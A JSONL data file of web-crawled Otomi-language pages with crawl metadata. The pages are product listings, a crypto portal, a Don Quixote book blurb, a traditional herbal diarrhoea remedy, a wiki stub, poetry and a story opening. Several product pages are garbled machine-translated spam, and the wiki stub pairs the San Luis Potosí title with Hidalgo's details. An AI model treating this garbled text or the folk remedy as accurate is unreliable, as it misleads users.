Nthuts'i: ndo'yo hyats'i ya tso̲ho̲ celebridad histórica silicona escultura César Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades yá...Mäs\nThuhuu ar xeni Nthuts'i: ndo'yo hyats'i txino estrella cine ne celebridades xi Geng Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades yá modificado pa...Mäs","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/otq.chinawaxstatue.com\/celebrities-figures-1","date":"2018-03-24T15:34:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650730.61\/warc\/CC-MAIN-20180324151847-20180324171847-00057.warc.gz","language":"oto","language_score":0.5871731639,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"oto_Latn_score\": 0.5871731638908386, \"ote_Latn_score\": 0.15802337229251862, \"zaa_Latn_score\": 0.05939524248242378, \"hus_Latn_score\": 0.0172572061419487, \"otq_Latn_score\": 0.014792168512940407, \"maq_Latn_score\": 0.013784149661660194, \"maz_Latn_score\": 0.012141196988523006, \"ots_Latn_score\": 0.010170751251280308}","num_words":217,"character_repetition_ratio":0.174,"word_repetition_ratio":0.173,"special_characters_ratio":0.188,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.629,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Product Details\nSamteam viaja ya productos Co., Ltd ge 'na ya famosos coloridas ya do̲ni nk'axt'i púrpura däzabi impresa bolsa fabricantes ne proveedores jar Ntxinä, dí mar tsa̲ ndi ofrecer moda, precio hñets'i'i ne mextha hño CE certificación coloridas ya do̲ni nk'axt'i púrpura däzabi impresa bolsa 'nar.\nPolycanvas ngu ya he̲'mi principal nga̲tho ar bolsa ne ar mango;\nAr njot'i ko velcro.\nConsulta\nProductos relacionados","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/otq.bag-supplier.com\/sports-bags\/colorful-purple-yellow-flowers-printed-beach.html","date":"2018-11-20T05:31:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746227.72\/warc\/CC-MAIN-20181120035814-20181120061814-00265.warc.gz","language":"oto","language_score":0.333827585,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"oto_Latn_score\": 0.33382758498191833, \"ote_Latn_score\": 0.32122603058815, \"spa_Latn_score\": 0.05202888697385788, \"otq_Latn_score\": 0.02989846095442772, \"gug_Latn_score\": 0.01595449261367321, \"ots_Latn_score\": 0.015808269381523132, \"mco_Latn_score\": 0.011769503355026245, \"gym_Latn_score\": 0.010851268656551838}","num_words":65,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.433,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2016 'ra'yo diseño ar bolígrafo ko agarre goma za̲tho\nPluma ya bola plástica ar transparente pa da mats'i\nPluma plástico blanco za̲ hño\nBolígrafo impreso Logo promocionales baratos\nMpa 'ra'yo yá x'ini xi nkuhi ar bola productos da mats'i\nFógraíocht Bairille Péint Spionnaidh Triantánach\nYá x'ini xi nkuhi promocional barata ko Logo\nHotel plástico promocional pluma barata\nMäs xi hño hño bolígrafo plástico modificado pa requisitos ntsuni hontho\nPublicidad insignia modificada pa requisitos ntsuni hontho bolígrafo\nYá x'ini xi nkuhi Multicolor nt'uni promocional ar mextha ar hño\nMpa 'ba̲ 2016 'ra'yo clásico bolígrafo Simple\nMats'i colorido barato plástico bolígrafos\nMpa 'ba̲ novedad publicidad pluma plástico ko logo impreso\nYá x'ini xi nkuhi impresa personalizada promocional njohya yá 'mu̲ise̲ mäs xi ngu\nNsa̲di Ntxinä suministra yá x'ini xi nkuhi promocional","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/otq.hzshiqi.com\/promotional-pen-1","date":"2019-03-19T00:24:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201812.2\/warc\/CC-MAIN-20190318232014-20190319013526-00009.warc.gz","language":"oto","language_score":0.3944184482,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.3944184482097626, \"ote_Latn_score\": 0.24243301153182983, \"por_Latn_score\": 0.03335297480225563, \"pap_Latn_score\": 0.030632421374320984, \"glg_Latn_score\": 0.02700076438486576, \"ots_Latn_score\": 0.019717790186405182, \"otq_Latn_score\": 0.014995844103395939, \"gug_Latn_score\": 0.014457517303526402, \"pls_Latn_score\": 0.012212766334414482, \"zpa_Latn_score\": 0.012173277325928211, \"ast_Latn_score\": 0.011905836872756481}","num_words":127,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.502,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pasta ya ts'i mextha ar hño ngetho ge ya lápiz\nLápiz diseño moda ar nt'ot'e hontho\n2016 moda diseño precio dibujos lápiz\n3.5 pulgadas 12 piezas njät'i xi lápiz madera ko sacapuntas\n2017 'ba̲ mpa Multi — njät'i madera ar lápiz ar sacapuntas\nLápiz madera encantador ar historieta Corea\nLápiz ar xithe̲ afilado ko sacapuntas\nLápiz promocional Jumbo HB ko goma\nLápices ar xithe̲ largos ar diseño hontho\n'ba̲ caliente mats'i Jumbo lápiz ar xithe̲ ko cuerda\nPortaminas ar njät'i único ar mextha ar hño\nPublicidad lápiz ngetho ge lápices mecánicos\nPortaminas plástico personalizados baratos\nLápices mecánicos únicos mats'i\nLogotipo personalizado impreso portaminas lujo\nLápices ar he̲'mi reciclar personalizado hinda goma ar borrar","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/otq.hzshiqi.com\/pencil-1","date":"2019-03-19T00:26:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201812.2\/warc\/CC-MAIN-20190318232014-20190319014014-00134.warc.gz","language":"oto","language_score":0.3197482824,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.31974828243255615, \"spa_Latn_score\": 0.1647072285413742, \"ots_Latn_score\": 0.08624473214149475, \"gug_Latn_score\": 0.08375698328018188, \"otq_Latn_score\": 0.06786724179983139, \"ote_Latn_score\": 0.05647412687540054, \"hus_Latn_score\": 0.04601212963461876, \"por_Latn_score\": 0.026537476107478142, \"zpa_Latn_score\": 0.024197842925786972}","num_words":108,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.351,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mextha hño za̲tho pluma ya Mini noho ar nza̲tho'i ar ar nt'ot'i\nMats'i regalo Mini Twist bolígrafo ko llavero\n'Ba̲ mpa Mini pluma ko espejo\nMats'i za̲tho escritura BOLÍGRAFO Mini\nMini yá x'ini xi nkuhi plástica tamaño pequeño Slim barato\nModa diamante Mini lápiz labial Ballpen\nXi hño ya 'ba̲ China precio Mini ar bolígrafo\nAr pa transferencia colores bolígrafo Mini plástico\n2016 gratis gi 'ñudi Labyard Mini ar bolígrafo\n2016 novedad Mini hueso ngetho ge yá x'ini xi nkuhi\n'Ra'yo estilo Mini pluma hei zi\nMini Twist bolígrafo Metal ko cordón\nLindo Mini cápsula bolígrafo pa promocionales\nEncantador mini bolos ngetho ge bolígrafo Mini\n2015 mextha hño grasa ya Mini pluma ar promocional ko ar acollador\nNza̲tho'i moda Mini estilo wa dets'e yá x'ini xi nkuhi","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/otq.hzshiqi.com\/mini-pen-1","date":"2019-03-19T00:22:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201812.2\/warc\/CC-MAIN-20190318232014-20190319014014-00348.warc.gz","language":"oto","language_score":0.349155724,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.3491557240486145, \"otq_Latn_score\": 0.33232027292251587, \"ote_Latn_score\": 0.04550931602716446, \"mup_Deva_score\": 0.02565290778875351, \"dag_Latn_score\": 0.019433187320828438}","num_words":124,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.753,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NDAD HONGAHOGAM UI PA YA BATSI \/ DON QUIJOTE PARA LOS NIÑOS \/ DON QUIXOTE FOR CHILDREN (EDICION TRILINGUE OTOMI - ESPAÑOL - INGLES)\nN'a ra hoga nt'ot'e ra r'atsant'ofo ya mfistbfo fádi maxoge gatho ra ximhai pa da r'atsi ha ra hñáki ra hñáhñu ri hñá ha ra B'atha B'ofáhi, thutabi njabu ra hñáhñu po ya já'i to'o ñá, bi mpefi pa da hoki n'a ra hyokamfist'ofo dige'a n'a ra hñuhñáki r'atsant'ofo dige'a ra Hongahogam'ui pa ya bátsi, xa zeti dige'a ya manteb'u k'oka y'estak'oi dige'a xi ra fádi Gustave Doré, xa y'ohni ko ya kuhu ya k'oi ge ri zetuabi ra Luciano Trigos, ge xa zeti pa da ot'andángi ra hñáki dige'a ra b'ede nt'ofo dige'a ra Miguel Cervantes Saavedra, ri thuts'i ra r'ay'o r'atsant'ofo ha ra hyodi dige'a ra r'atsant'ofo hñámfo ne ra hñáki ya zubi, nu'a ra hñu ra hñáki pa ndunthi ya otomí","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.elsotano.com\/libro\/ndad-hongahogam-ui-pa-ya-batsi-don-quijote-para-los-ninos-don-quixote-for-children-edicion-trilingue-otomi-espanol-ingles_10540801","date":"2019-10-14T08:30:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649841.6\/warc\/CC-MAIN-20191014074313-20191014101313-00379.warc.gz","language":"oto","language_score":0.9994866252,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.9994866251945496}","num_words":144,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"¿Temu̲ ar Bitcoin? Bitcoin ge 'nar red njut'i klase punto tso̲kwa punto wa criptoactivo basado 'nar nthuts'i nkohi código abierto utilizando registros transacciones nt'o̲t'e nxo̲ge.\nPrecio criptomoneda hontho Volumen hontho thuuhu hontho nt'ot'e mbo hontho Practicidad hontho Futuro hontho Demanda ne oferta hontho Análisis balance demanda real\nPrecios divisas criptográficas mäs tasas crecientes ne altísas — Tasas descensos ne ar desplomes xí bajas — nkohi — Volúmenes — Clasificación jar pa real\nUngumfädi ga̲tho ya marcas Altcoin ne ya bojä ya pasto (moneda ar zunthu) hontho Intercambios hontho Oficinas ventas hontho Oficinas mpa̲ti hontho Honja ta̲i ne ndi hontho remesa hontho Comparación tarifas\nGráfico ar Precio ar Crypto Assets — hontho xingu ya Cambio hontho Fundamentos hontho Análisis Técnico hontho ungumfädi jár ta̲i jar pa Real\nUngumfädi jár ta̲i ya criptomonedas ICO (ICO) Ieo Sto VC: Rango, reputación, clasificación ne nt'ungu̲mfädi ya bojä digitales\nCrypto Asset Wallets hontho ntsuni hontho Aplicaciones hontho ungumfädi útil xingu ya trading ne características ar bojä electrónico, etc.\nSitio ya nt'ot'e curados \"Global Crypto — Currencies and Cryptocurrencies Portal Site\"\nSitio ungumfädi blockchain \"Global Virtual Currency, Cryptocurrency and New International 'bede Currency Global Portal Website\" ar amado ir nge ngatho ja ar web jar nxoge ximhai. Deni ya redes ja ya 'mui (SNS), sitelink buzz, nga̲tho hinda t'uni. Nuna sitio global (Estación Espacial ja ya Ximhai) ar apoyado ya ma̲ ne influencers nga̲tho ne bí xi extendido internacionalmente ne jar ne.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/cryptocurrency-trade.ws\/?lang=otq","date":"2020-11-25T22:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141184870.26\/warc\/CC-MAIN-20201125213038-20201126003038-00286.warc.gz","language":"oto","language_score":0.3227319121,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.3227319121360779, \"ote_Latn_score\": 0.13684475421905518, \"spa_Latn_score\": 0.09218823164701462, \"gug_Latn_score\": 0.0615803524851799, \"otq_Latn_score\": 0.05284484475851059, \"glg_Latn_score\": 0.03812050819396973, \"pls_Latn_score\": 0.03349269554018974}","num_words":230,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.433,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Equipos desoxidación ir nge ya hidrógeno\nProceso purificación nitrógeno\nEquipos purificación nitrógeno\nDispositivo purificación nitrógeno\nEquipos desoxidación ya carburación\nHidrogenación purificación pa generador nitrógeno\nDispositivo purificación thehñä KNC\nPurificador ar ndähi resbalón oxígeno\nPurificador ar ndähi resbalón PSA\nPurificador ar ndähi ndähi nxa ar resbalón\nPurificador ar dehe ndähi nxa\nPurificador ar ndähi nitrógeno","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/m.otq.ydget.com\/air-purification-equipment\/","date":"2021-04-14T12:02:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038077810.20\/warc\/CC-MAIN-20210414095300-20210414125300-00405.warc.gz","language":"oto","language_score":0.5086248517,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.5086248517036438, \"spa_Latn_score\": 0.1641918569803238, \"gug_Latn_score\": 0.08570093661546707, \"ast_Latn_score\": 0.07930411398410797, \"glg_Latn_score\": 0.05802535638213158, \"gym_Latn_score\": 0.04751693829894066}","num_words":54,"character_repetition_ratio":0.181,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.762,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nuna ndapo ngu n'a metro made ra hñets'i, di ntungi; ya ts'ut's xa nda ha xa me; ya xi xa nk'ami, ya t'uki, xa nts'ät'i ngu ya zi ts'i ya zi notsi ha ya ñani; ya doni ya t'uki n'e xa nt'axi. Di te habu ja ya ts'uta, ha ja ñani, ya hñe, ha xa nxa ra hai n'e habu ja ya da; di r'oho ha di ndoni ko ra y'e. xa pa nuna ndäpo.\nHabu kohi ya hnini habu ja nu ya ndäpo. Botsuada, Naxthey, Cantamaye, Dexthi, Nando n'e ndast'oho ra hyodi nts'otkani, n'e nxits'o ra hyodi M'ohai.\nHanja ra t'ot'e. Pa ra r'ihi n'e ra natha da nthuni n'a kuarto ra litro ra dehe r'e t'a ya nxi ra orégano ra dangi, n'a ra zi y'e ra manzanilla n'e n'a ga moro; nuna dehe petsi da zi mi xudi, ga nde n'e mi nxui, maske ko n'aki ko nge'ä ha nubu hinda hñaki ra r'ihi da zi man'aki nuna dehe pe ko nyoho nt'atsi ra aceite ra botunza; ra dehe xukui ra mui ha da hñakui ra r'ihi.\nHanja fudi ra hñeni. Nuna hñeni ngetho nu ra jä'i a batsi tsi nu ya hinxa hño, o ngetho ñuni ndunthi o nehe nu ra b'a tsi xa ñ'ixi ha nu ra mamila o nubu hingi xuki xa hño ra mui da thini ha unga ngana da ma ra b'i; nuna hñeni xa tse.\nPlanta como de 1.50 m de altura, se extiende, varas algo gruesas y duras. Hojas verdes, chicas, algo puntiagudas, con dientecitos chatitos en las orillas. Flor chiquitita y blanca. Crece en donde hay lechuguilla, en las laderas, barrancas, tierra de jugo y suelo pedregoso; retoña y florece en las lluvias. Es caliente.\nLocalización geográfica regional. Botsuada, Naxthey, Cantamayé, Dexthi, Nando y Orizabita, municipio de Ixmiquiipan; El Sauz, municipio de Cardonal.\nUso medicinal. Para diarrea y empacho, se hierven en un cuarto de litros 10 hojitas de orégano grande, una ramita de manzanilla y una ramita de moro, el té se toma en la mañana, tarde y noche, aunque con una vez es suficiente. Si no se quita la diarrea, se toma otra vez el té pero con dos cucharadas de aceite de olivo; el té limpia el estómago y ya no hay diarrea.\nCausas y síntomas de la enfermedad. La enfermedad da porque la persona o el niño se come algo descompuesto, por comer mucho o debido a que la leche se agria en la mamila al no lavarse bien. El estómago se inflama y dan ganas de ir al baño; la enfermedad es fría.","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/medicinatradicionalmexicana.unam.mx\/fmim\/termino.php?l=4&p=otomi&cr=18&t=oregano-grande&id=723","date":"2021-10-24T15:41:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323586043.75\/warc\/CC-MAIN-20211024142824-20211024172824-00060.warc.gz","language":"oto","language_score":0.4654025435,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.4654025435447693, \"ote_Latn_score\": 0.4608112573623657, \"ots_Latn_score\": 0.02845451980829239}","num_words":427,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.197,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Jä'i||2,415,461|\n|Hai||20 813 km²|\n|Ñähni||Xanlui|\n|Dähni||Xanlui|\n|Dängañä||Miguel Osorio Chong|\nHyodi San Luis Potosí ni M'onda. Po lado mboxhyadi, rinjani ra hai hyodi Mberakru n'e Puebla, ku̱hyadi rinjani ra hai hyodi Ndämxei, mähuifi rinjani ra hai hyodi San Luis Potosí n'e mäkangi rinjani ra hai hyodi Le̱ngu M'onda n'e Tlaxkala.\nYa ndä hninihuEdit\nYa hma'tiEdit","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/incubator.m.wikimedia.org\/wiki\/Wp\/ote\/Nsanlui_Potosi","date":"2023-02-09T07:25:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764501407.6\/warc\/CC-MAIN-20230209045525-20230209075525-00762.warc.gz","language":"oto","language_score":0.6967513561,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"oto_Latn_score\": 0.6967513561248779, \"ote_Latn_score\": 0.03167223557829857, \"bhp_Latn_score\": 0.029043544083833694, \"krl_Latn_score\": 0.026859518140554428, \"trv_Latn_score\": 0.02427426539361477, \"amp_Latn_score\": 0.014240773394703865, \"pls_Latn_score\": 0.010569056496024132}","num_words":53,"character_repetition_ratio":0.169,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.802,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NDAD HONGAHOGAM UI PA YA BATSI \/ DON QUIJOTE PARA LOS NIÑOS \/ DON QUIXOTE FOR CHILDREN (EDICION TRILINGUE OTOMI - ESPAÑOL - INGLES)\nNDAD HONGAHOGAM UI PA YA BATSI \/ DON QUIJOTE PARA LOS NIÑOS \/ DON QUIXOTE FOR CHILDREN (EDICION TRILINGUE OTOMI - ESPAÑOL - INGLES)\nN'a ra hoga nt'ot'e ra r'atsant'ofo ya mfistbfo fádi maxoge gatho ra ximhai pa da r'atsi ha ra hñáki ra hñáhñu ri hñá ha ra B'atha B'ofáhi, thutabi njabu ra hñáhñu po ya já'i to'o ñá, bi mpefi pa da hoki n'a ra hyokamfist'ofo dige'a n'a ra hñuhñáki r'atsant'ofo dige'a ra Hongahogam'ui pa ya bátsi, xa zeti dige'a ya manteb'u k'oka y'estak'oi dige'a xi ra fádi Gustave Doré, xa y'ohni ko ya kuhu ya k'oi ge ri zetuabi ra Luciano Trigos, ge xa zeti pa da ot'andángi ra hñáki dige'a ra b'ede nt'ofo dige'a ra Miguel Cervantes Saavedra, ri thuts'i ra r'ay'o r'atsant'ofo ha ra hyodi dige'a ra r'atsant'ofo hñámfo ne ra hñáki ya zubi, nu'a ra hñu ra hñáki pa ndunthi ya otomí Un experimentado traductor de obras literarias universales a la variante del otomí que se habla en el Valle del Mezquital, llamada hñáhñu por sus hablantes, trabajó para producir una edición trilingüe de una versión infantil del Quijote, acompañada de los clásicos grabados del famoso Gustave Doré, iluminados por el artista Luciano Trigos, que se integran para enriquecer el idioma hñáhñu con la narrativa de Miguel de Cervantes Saavedra, colocando la nueva traducción al lado de la versión castellana y otra en inglés, una tercer lengua para muchos otomíes. A seasoned translator of universal literary classics into the Otomi variant spoken in the Mezquital Valleyknown as hñáhñu by its speakershe worked to give rise to a trilingual edition of a children's Don Quixote, joined by the classic engravings of renown Gustave Doré colored by artist Luciano Trigos. All integrating to enrich the hñáhñu language with Miguel de Cervantes Saavedra's narrative, presenting this new translation alongside the Castilian version and the one in Englisha third language for many Otomi.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.elsotano.com\/libro\/ndad-hongahogam-ui-pa-ya-batsi-don-quijote-para-los-ninos-don-quixote-for-children-edicion-trilingue-otomi-espanol-ingles_10540801","date":"2020-08-12T12:31:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738892.21\/warc\/CC-MAIN-20200812112531-20200812142531-00259.warc.gz","language":"oto","language_score":0.7844240069,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"oto_Latn_score\": 0.7844240069389343, \"ote_Latn_score\": 0.039875395596027374, \"ast_Latn_score\": 0.02186141349375248, \"gug_Latn_score\": 0.020353645086288452, \"pls_Latn_score\": 0.012182550504803658, \"zai_Latn_score\": 0.011912792921066284}","num_words":331,"character_repetition_ratio":0.063,"word_repetition_ratio":0.068,"special_characters_ratio":0.204,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.918,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nu:\nChief Joseph\nGeronimo-Goyothlay\nChief Seattle\nTasunka Witko\nMakhpiya Luta\nQuanah Parker y\nJohn Trudell\nYabu nuni Richmond California, 2018\nTHUHU N´A\nTs'ogi\nDa gohi ha nuna hem'i\nra njut'i nuna du, ra du ge da gohi ko ma zi notsi\nnu ya xudi ma bui\nnu'u ge da b'edi ha ra y'otahai nuni Arizona\nnuua ra tuka otsi nu ma zöi pa ge ma gi pumfri.\nGa tsogi gatho ya n'a m'o y'o ge sta y'o da hutsi\nha ra gui nu ma jä'i.\nGa tsogi nuua nuna hai ge m'et'o ma meti, nu'a ge xi di mädi:\nNu ra gangay'e ge ngani ha ra t'oho\nN'a ra ganga hane ge bi konti ha ra ndähi b'ëpi ya pa da ehe ko ya Apache\nChiricahua\nYa pa da ehe mañä ra hai Oglala Sioux\nN'a ra b'émfeni fani ge hinda tsabi ge aki ha mañä ra mahets'i nu ya notsi\nya b'ëto ne gatho ya jä'i tu ra get'a ji.\nYa u'i nu ya Suquamish ne ya Duwamish\nGa tsogi nehe nu'a ge di mädi ndunthi, ra nda ge bi da ma nzaki:\nRa ngani ra y'e mañä ya ngu ge kom'i ra carto\ny'e ge tagi ha ra hets'i ya nguëgijä'i ge da tsogagihe yabu nu ra madehe\nRa ñu ma hai\nN'a ra tagi y'e\nGet'a ra tagi y'e ha ra xütha n'a ra xäjü\nRa hnet'i nu ra k'eña ge hinhamu bi pengi ra ngu\nGatho ya k'eña ge hnei ha ra t'axane ya Hopi\nNu ra ndäte\nNu ra te ra gätü ge da edi\nGet'a ra tagi y'e ha n'a ra xi, ra tagi\nYa pa ge b'edi pa da tagi\nGa tsogi nehe ra xa ge ko ts'ëdi mihi n'a ra za xita\nYa gätsi nu ra tsimxi ge handi ra ñ'u ma da y'o pa da sehe ra ngu\nYa handi nu ra hyadi, ma notsi\nHyadi, Hyadi, ra makäbaha ra bui pa nu ya makäsurabonthi\nra tuka tuka otsi ha ha ra bui ne ra du\nRa te hintoode nu ma t'ixu\nha mbo ra ndäte, ra hai.\nDe:\nChief Joseph\nGeronimo-Goyothlay\nChief Seattle\nTasunka Witko\nMakhpiya Luta\nQuanah Parker y\nJohn Trudell\nRichmond California, 2018\nCANTO I\nTestamento\nDejo en mi testamento\nel saldo de esta deuda, la deuda que dejo a mis hijos\na mis fantasmas\nlos que dejé perdidos en el desierto de Arizona\naquí el resquicio de mi historia lista para ser olvidada.\nDejo las millas del peregrinaje multiplicadas\nen el exilio de mi raza.\nDejo aquí sobre esta tierra antes mía, lo que atesoro:\nAl trueno que baja por la montaña\nUn bostezo rumiante que agazapado al viento exige futuro a los Apache\nChiricahua\nFuturo sobre la tierra Oglala Sioux\nUn caballo loco incansable que ronda vigía sobre el cielo de sus hijos\nnietos y toda su estirpe.\nLos sueños de los Suquamish y Duwamish\nDejo también mis tesoros, el fruto que cultivó mi esencia:\nEl sonido de la lluvia sobre los techos de cartón\nlluvia que cae sobre las reservaciones que nos alejaron del rio\nEl sabor de la tierra\nUna gota de lluvia\nEsa misma gota sobre el lomo de una hormiga\nLa huella de una serpiente que nunca volvió a casa\nTodas las serpientes que bailan en la boca pura de los Hopi\nSu corazón\nEl latido del colibrí cuando se despide\nLa misma gota de lluvia sobre una hoja, su caída\nEl tiempo que tarda en caer\nDejo también la humedad que atesora un árbol viejo\nLos suspiros del caracol cuando mira el camino que aún falta para llegar a casa\nLas miradas del sol, mi hijo\nHyadi,sol, ofrenda a la vida a los cuidadores del monte\nel intersticio entre la vida y la muerte\nEl latido silencioso de mi hija\ndesde el corazón, la tierra.\nMargarita León\nEs originaria del municipio de Santiago de Anaya, Hidalgo. Tiene, 36 años. Vive en la Ciudad de México. Es psicóloga, realizó estudios de especialización en Lectura y Escritura en la Facultad de Filosofía y Letras en la Universidad de\nBuenos Aires. En 2011, Obtuvo el primer lugar del XIV concurso de Cuento Otomí del Consejo Estatal para la Cultura y las Artes, CONACULTA, Puebla México, con el poema en prosa \"Pothe\". Ha participado también en diferentes recitales en México y el extranjero. Fue becaria del Fondo Nacional para la Cultura y las Artes, FONCA, 2014-2015, con obra poética cuyos ejes temáticos muestran a la poesía indígena ubicada en un entorno urbano y contemporáneo. Ha publicado poesía en diversas antologías, revistas y suplementos culturales en México y en el extranjero. En 2019 publico su poemario \"Ya Bꞌospi\".\nAproximaciones al otomí, libro de poesía bilingüe (otomí- español).","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/ablucionistas.com\/thuhu-na-margarita-leon\/","date":"2020-10-21T07:55:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107876136.24\/warc\/CC-MAIN-20201021064154-20201021094154-00666.warc.gz","language":"oto","language_score":0.4740403593,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"oto_Latn_score\": 0.47404035925865173, \"ote_Latn_score\": 0.32699817419052124, \"ots_Latn_score\": 0.07109939306974411, \"spa_Latn_score\": 0.04190457984805107, \"cbk_Latn_score\": 0.018946636468172073, \"zai_Latn_score\": 0.0153280608355999, \"gym_Latn_score\": 0.01263428945094347, \"zpa_Latn_score\": 0.01149115152657032}","num_words":775,"character_repetition_ratio":0.033,"word_repetition_ratio":0.013,"special_characters_ratio":0.228,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":0.569,"perplexity_score":500.0,"cluster_detection":1} diff --git a/oto_Latn/fineweb-2_000001_remove.jsonl b/oto_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..15acf073ae7b1e12e9740979f3d029ac9ab8ff6a --- /dev/null +++ b/oto_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,3 @@ +{"text":"En todos los pueblos existen mujeres y hombres\nque son motivo de llamar la atención por sus\ncaracterísticas personales; éste es el caso de\nuno de ellos que pueblan en esta región y que\nlleva por nombre, Bernardino Javier Martínez,\nmejor conocido como \"el doctor\". Él es oriundo\nde la comunidad de Boxtha Chico, Municipio de\nSan Salvador, uno de los veintinueve municipios\nque forman parte de la geografía del Valle del\nMezquital, Estado de Hidalgo.\nHasta donde su memoria le alcanza, fue un niño\nhuérfano de padre a muy temprana edad. Su progenitor\nse llamó Ponciano y era conocido como \"chano\", y su\nmadre Luisa, señora que había sufrido un accidente\ndel cual tenía problemas de cadera que los hueseros,\n(únicos médicos que podía consultar para las\ndislocaciones o rupturas de los huesos), no\npudieron corregir, por lo tanto, padecía de\n\"cojera\", que le acompañó toda su vida. Esta señora\nse ganaba la vida tallando pencas de maguey para\nextraer el ixtle para hacer ayates, y recolectaba\nhierbas en las milpas, para los puercos y gallinas,\nque canjeaba por unas tortillas o un poco de pulque,\nalimento que iba a parar en el pequeño estómago del\n\"doctor\".\n1\n\"R a ñ'othe\": n'a ra b'ui ha ra\nB'atha B'ot'ohi\nHa gatho ya hnini b'ui ya b'ehña ne ya\nñ'oho ge mati pa ga nutihu po\ntengu ya b'ai ge petsi nu'a jä'i, nuna ge'a\nn'a dige'u ge b'ui ha nuna hyodi, nuna\nhäts'i ra thuhu ra Bernardino Javier Martínez, mi\nfädi ko ra thumthuhu ngu ra \"ñ'othe\", mra mengu n'a\nra t'uka hnini dige'a ra T'uka B'osta,\nri kohi ha ra hyodi ra Nsalvado, n'a dige'u\nya 29 ya Municipio ge hoki ra hyodi dige'a ra B'atha\nB'ot'ohi, ra hyodi ra Ñhunthe.\nHabu ra mfeni mi tsudi da beni, mra\nn'a ra bätsi ra hyoya ra nge'a ra dada xki tu, xi\nmra t'uki mi nhyoya, ra dada mi fädi ngu ra \"chano\",\nra 